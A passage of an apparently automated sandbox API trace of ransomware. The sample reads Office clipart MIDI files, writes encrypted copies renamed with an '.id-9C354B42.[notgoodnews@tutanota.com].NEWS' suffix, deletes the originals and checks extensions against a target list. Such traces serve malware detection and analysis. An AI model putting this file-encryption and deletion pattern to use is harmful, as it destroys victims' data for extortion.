lpOverlapped=0x0) returned 1 [0236.120] WriteFile (in: hFile=0x3c0, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x1660, lpOverlapped=0x0) returned 1 [0236.123] ReadFile (in: hFile=0x324, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0236.123] WriteFile (in: hFile=0x3c0, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xec, lpOverlapped=0x0) returned 1 [0236.123] SetEndOfFile (hFile=0x3c0) returned 1 [0236.124] CloseHandle (hObject=0x3c0) returned 1 [0236.124] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.124] SetEndOfFile (hFile=0x324) returned 1 [0236.148] CloseHandle (hObject=0x324) returned 1 [0236.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0236.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0236.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0236.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0236.170] lstrlenW (lpString=".doc") returned 4 [0236.170] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0236.170] lstrlenW (lpString=".docx") returned 5 [0236.170] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0236.170] lstrlenW (lpString=".pdf") returned 4 [0236.170] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0236.170] lstrlenW (lpString=".xls") returned 4 [0236.170] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0236.170] lstrlenW (lpString=".xlsx") returned 5 [0236.170] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0236.170] lstrlenW (lpString=".ppt") returned 4 [0236.171] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0236.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0236.171] lstrlenW (lpString=".zip") returned 4 [0236.171] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0236.171] lstrlenW (lpString=".rar") returned 4 [0236.171] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0236.171] lstrlenW (lpString=".bz2") returned 4 [0236.171] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0236.171] lstrlenW (lpString=".7z") returned 3 [0236.171] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0236.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0236.171] lstrlenW (lpString=".dbf") returned 4 [0236.171] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0236.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0236.171] lstrlenW (lpString=".1cd") returned 4 [0236.172] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0236.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0236.172] lstrlenW (lpString=".jpg") returned 4 [0236.172] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0236.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0236.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0236.172] lstrlenW (lpString=".doc") returned 4 [0236.172] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0236.172] lstrlenW (lpString=".docx") returned 5 [0236.172] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0236.173] lstrlenW (lpString=".pdf") returned 4 [0236.173] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0236.173] lstrlenW (lpString=".xls") returned 4 [0236.173] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0236.173] lstrlenW (lpString=".xlsx") returned 5 [0236.173] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0236.173] lstrlenW (lpString=".ppt") returned 4 [0236.173] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0236.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0236.173] lstrlenW (lpString=".zip") returned 4 [0236.173] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0236.173] lstrlenW (lpString=".rar") returned 4 [0236.173] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0236.173] lstrlenW (lpString=".bz2") returned 4 [0236.173] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0236.174] lstrlenW (lpString=".7z") returned 3 [0236.174] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0236.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0236.174] lstrlenW (lpString=".dbf") returned 4 [0236.174] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0236.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0236.174] lstrlenW (lpString=".1cd") returned 4 [0236.174] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0236.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0236.174] lstrlenW (lpString=".jpg") returned 4 [0236.174] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0236.175] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0236.175] lstrlenW (lpString="SAFRI_01.MID") returned 12 [0236.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0236.178] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=10122) returned 1 [0236.178] CloseHandle (hObject=0x370) returned 1 [0236.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 0x20 [0236.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0236.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0236.179] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.179] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0236.180] GetLastError () returned 0x0 [0236.180] ReadFile (in: hFile=0x370, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x278a, lpOverlapped=0x0) returned 1 [0236.540] WriteFile (in: hFile=0x324, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x2790, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x2790, lpOverlapped=0x0) returned 1 [0238.268] ReadFile (in: hFile=0x370, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0238.268] WriteFile (in: hFile=0x324, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xec, lpOverlapped=0x0) returned 1 [0238.269] SetEndOfFile (hFile=0x324) returned 1 [0238.844] CloseHandle (hObject=0x324) returned 1 [0238.846] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0238.846] SetEndOfFile (hFile=0x370) returned 1 [0239.622] CloseHandle (hObject=0x370) returned 1 [0239.623] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0239.719] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\safri_01.mid")) returned 1 [0239.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0239.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0239.725] lstrlenW (lpString=".doc") returned 4 [0239.725] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0239.725] lstrlenW (lpString=".docx") returned 5 [0239.725] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0239.725] lstrlenW (lpString=".pdf") returned 4 [0239.725] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0239.725] lstrlenW (lpString=".xls") returned 4 [0239.725] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0239.725] lstrlenW (lpString=".xlsx") returned 5 [0239.725] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0239.726] lstrlenW (lpString=".ppt") returned 4 [0239.726] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0239.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0239.726] lstrlenW (lpString=".zip") returned 4 [0239.726] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0239.726] lstrlenW (lpString=".rar") returned 4 [0239.726] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0239.726] lstrlenW (lpString=".bz2") returned 4 [0239.726] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0239.726] lstrlenW (lpString=".7z") returned 3 [0239.726] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0239.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0239.727] lstrlenW (lpString=".dbf") returned 4 [0239.727] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0239.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0239.727] lstrlenW (lpString=".1cd") returned 4 [0239.727] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0239.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0239.727] lstrlenW (lpString=".jpg") returned 4 [0239.727] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0239.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0239.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0239.727] lstrlenW (lpString=".doc") returned 4 [0239.727] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0239.728] lstrlenW (lpString=".docx") returned 5 [0239.728] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0239.728] lstrlenW (lpString=".pdf") returned 4 [0239.728] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0239.728] lstrlenW (lpString=".xls") returned 4 [0239.728] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0239.728] lstrlenW (lpString=".xlsx") returned 5 [0239.728] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0239.728] lstrlenW (lpString=".ppt") returned 4 [0239.728] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0239.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0239.728] lstrlenW (lpString=".zip") returned 4 [0239.728] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0239.729] lstrlenW (lpString=".rar") returned 4 [0239.729] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0239.729] lstrlenW (lpString=".bz2") returned 4 [0239.729] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0239.729] lstrlenW (lpString=".7z") returned 3 [0239.729] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0239.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0239.729] lstrlenW (lpString=".dbf") returned 4 [0239.729] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0239.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0239.729] lstrlenW (lpString=".1cd") returned 4 [0239.729] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0239.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SAFRI_01.MID") returned 63 [0239.730] lstrlenW (lpString=".jpg") returned 4 [0239.730] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0239.730] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0239.730] lstrlenW (lpString="SUMER_01.MID") returned 12 [0239.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0239.731] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=14044) returned 1 [0239.731] CloseHandle (hObject=0x35c) returned 1 [0239.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 0x20 [0239.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0239.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0239.733] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0239.733] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0239.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0239.736] GetLastError () returned 0x0 [0239.736] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x36dc, lpOverlapped=0x0) returned 1 [0239.758] WriteFile (in: hFile=0x324, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x36e0, lpOverlapped=0x0) returned 1 [0239.763] ReadFile (in: hFile=0x35c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0239.763] WriteFile (in: hFile=0x324, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xec, lpOverlapped=0x0) returned 1 [0239.763] SetEndOfFile (hFile=0x324) returned 1 [0239.764] CloseHandle (hObject=0x324) returned 1 [0239.764] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0239.766] SetEndOfFile (hFile=0x35c) returned 1 [0239.774] CloseHandle (hObject=0x35c) returned 1 [0239.775] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0239.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 1 [0239.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0239.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0239.926] lstrlenW (lpString=".doc") returned 4 [0239.926] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0239.926] lstrlenW (lpString=".docx") returned 5 [0239.927] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0239.927] lstrlenW (lpString=".pdf") returned 4 [0239.927] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0239.927] lstrlenW (lpString=".xls") returned 4 [0239.927] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0239.927] lstrlenW (lpString=".xlsx") returned 5 [0239.927] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0239.927] lstrlenW (lpString=".ppt") returned 4 [0239.927] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0239.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0239.927] lstrlenW (lpString=".zip") returned 4 [0239.927] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0239.927] lstrlenW (lpString=".rar") returned 4 [0239.928] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0239.928] lstrlenW (lpString=".bz2") returned 4 [0239.928] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0239.928] lstrlenW (lpString=".7z") returned 3 [0239.928] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0239.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0239.928] lstrlenW (lpString=".dbf") returned 4 [0239.928] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0239.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0239.928] lstrlenW (lpString=".1cd") returned 4 [0239.928] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0239.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0239.928] lstrlenW (lpString=".jpg") returned 4 [0239.929] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0239.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0239.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0239.929] lstrlenW (lpString=".doc") returned 4 [0239.929] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0239.929] lstrlenW (lpString=".docx") returned 5 [0239.929] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0239.929] lstrlenW (lpString=".pdf") returned 4 [0239.929] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0239.929] lstrlenW (lpString=".xls") returned 4 [0239.929] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0239.929] lstrlenW (lpString=".xlsx") returned 5 [0239.930] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0239.930] lstrlenW (lpString=".ppt") returned 4 [0239.930] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0239.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0239.930] lstrlenW (lpString=".zip") returned 4 [0239.930] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0239.930] lstrlenW (lpString=".rar") returned 4 [0239.930] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0239.930] lstrlenW (lpString=".bz2") returned 4 [0239.930] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0239.930] lstrlenW (lpString=".7z") returned 3 [0239.930] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0239.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0239.930] lstrlenW (lpString=".dbf") returned 4 [0239.931] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0239.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0239.931] lstrlenW (lpString=".1cd") returned 4 [0239.931] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0239.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID") returned 63 [0239.931] lstrlenW (lpString=".jpg") returned 4 [0239.931] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0239.931] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0239.932] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0239.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0239.994] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=4961) returned 1 [0239.994] CloseHandle (hObject=0x1f0) returned 1 [0239.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x20 [0240.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0240.127] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.127] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.128] GetLastError () returned 0x0 [0240.128] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x1361, lpOverlapped=0x0) returned 1 [0240.133] WriteFile (in: hFile=0x388, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0240.136] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.137] WriteFile (in: hFile=0x388, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.137] SetEndOfFile (hFile=0x388) returned 1 